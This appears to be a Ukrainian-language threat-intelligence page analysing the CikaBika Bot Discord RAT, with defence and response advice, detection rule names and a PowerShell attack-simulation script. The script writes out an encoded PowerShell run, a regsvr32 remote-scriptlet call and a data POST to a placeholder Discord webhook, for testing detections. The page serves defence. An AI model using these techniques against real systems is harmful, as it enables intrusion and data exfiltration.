Аналіз CikaBika Bot: Як працює Discord RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
CikaBika Bot – це троян для віддаленого доступу (RAT), написаний на мові Rust, розповсюджується через фішингові приманки, такі як шкідливі LNK файли та PDF документи. Шкідливе програмне забезпечення використовує завантажувач, написаний на Nim, для запуску обходу UAC через PowerShell і виконує викрадення DLL у послідовності пошуку в Microsoft Edge. Він використовує Discord як платформу для командного та контрольного управління для керування зараженими системами і виконання ряду шкідливих команд.
Розслідування
Дослідники з Darktrace проаналізували ланцюг інфекції, що починається з образу диска, що містить шкідливе посилання та PDF-файл-приманку. Розслідування простежило пейлоад від тимчасового текстового файлу до захопленої DLL, розміщеної в каталозі програми Microsoft Edge. Дослідники також спостерігали використання RAT Discord для розвідки та застосування ngrok для вилучення даних.
Захист
Організації повинні запровадити суворі контролі за виконанням LNK файлів і образів дисків, отриманих з неперевірених джерел. Посилення налаштувань User Account Control (UAC) і моніторинг на предмет неавторизованих змін реєстру, пов’язаних з shell-командами HKLM/HKCU, можуть допомогти запобігти спробам обходу. Служби безпеки також повинні стежити за незвичайними дочірніми процесами Microsoft Edge і неавторизованим використанням Discord або ngrok.
Відповідь
Коли виявлена активність CikaBika Bot, ізолюйте уражені кінцеві точки від мережі, щоб припинити роботу каналу Discord C2. Проведіть судово-медичний аналіз %TEMP% каталогу та шляхів установки Microsoft Edge для ідентифікації шкідливого dbghelp.dll. Перегляньте телеметрію мережі на предмет підозрілих з’єднань з використанням ipify.com або ngrok, щоб оцінити потенційний обсяг вилучення даних.
Хід атаки
Ми все ще оновлюємо цю частину.
Виявлення
Можливий шкідливий LNK-файл з подвійним розширенням (через cmdline)
Виклики підозрілих класів/методів .NET з командного рядка PowerShell (через process_creation)
Підозріле використання CURL (через cmdline)
Виклики підозрілих методів .NET з PowerShell (через powershell)
Виклики підозрілих функцій API Windows з PowerShell (через powershell)
Можливі індикатори обфускації PowerShell (через powershell)
Можливий сервіс тунелювання портів (через dns)
IOC (Md5 Hash) для виявлення: CikaBika Bot: в середині Discord RAT
PowerShell і Regsvr32 виконуються для вилучення даних через Discord [Windows PowerShell]
Виконання декодованого пейлоуда RAT і розвідка процесу [Windows Process Creation]
Виконання симуляції
-
Опис атаки та команди: Зловмисник отримав початковий доступ. Щоб уникнути виявлення, вони намагаються запустити пейлоуд через закодовану команду PowerShell. Рядок команди містить коментар “обхід UAC PowerShell” для запуску специфіки логіки правила. Після цього зловмисник намагається використовувати
regsvr32.exeдля виконання віддаленого сценарію (моделюється через локальний файл, щоб уникнути мережевого шуму під час тестування). Нарешті, зловмисник моделює вилучення даних, відправляючи фіктивний POST-запит до URL-адреси вебхука Discord через PowerShell. -
Сценарій регресійного тесту:
# Сценарій симуляції: Імітація вилучення даних у стилі Cikabika через Discord Write-Host "[+] Початок симуляції..." # 1. Імітуйте 'selection_uac_bypass' і 'selection_powershell_encoded' умови # Команда включає буквально рядок 'обхід UAC PowerShell' і використовує '-enc' $command = "Write-Output 'Шкідливий Пейлоуд'; # обхід UAC PowerShell" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) Write-Host "[+] Виконання закодованого PowerShell з рядком обходу..." powershell.exe -enc $encodedCommand # 2. Імітуйте 'selection_regsvr32' # Це триггер для другої половини 'AND' умови в правилі Write-Host "[+] Виконання Regsvr32..." regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll # 3. Імітуйте 'selection_discord_exfil' # Це забезпечує альтернативний шлях для другої половини 'AND' умови Write-Host "[+] Імітація вилучення через Discord..." $discordWebhook = "https://discord.com/api/webhooks/test/12345" powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'" Write-Host "[+] Симуляція завершена." -
Команди очищення:
# Очищення: Видалення будь-яких тимчасових файлів, створених під час симуляції (якщо такі є). # У цій конкретній симуляції файли на диск не записувались, # але ми гарантуємо, що дерево процесів очищено. Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] Очищення завершено."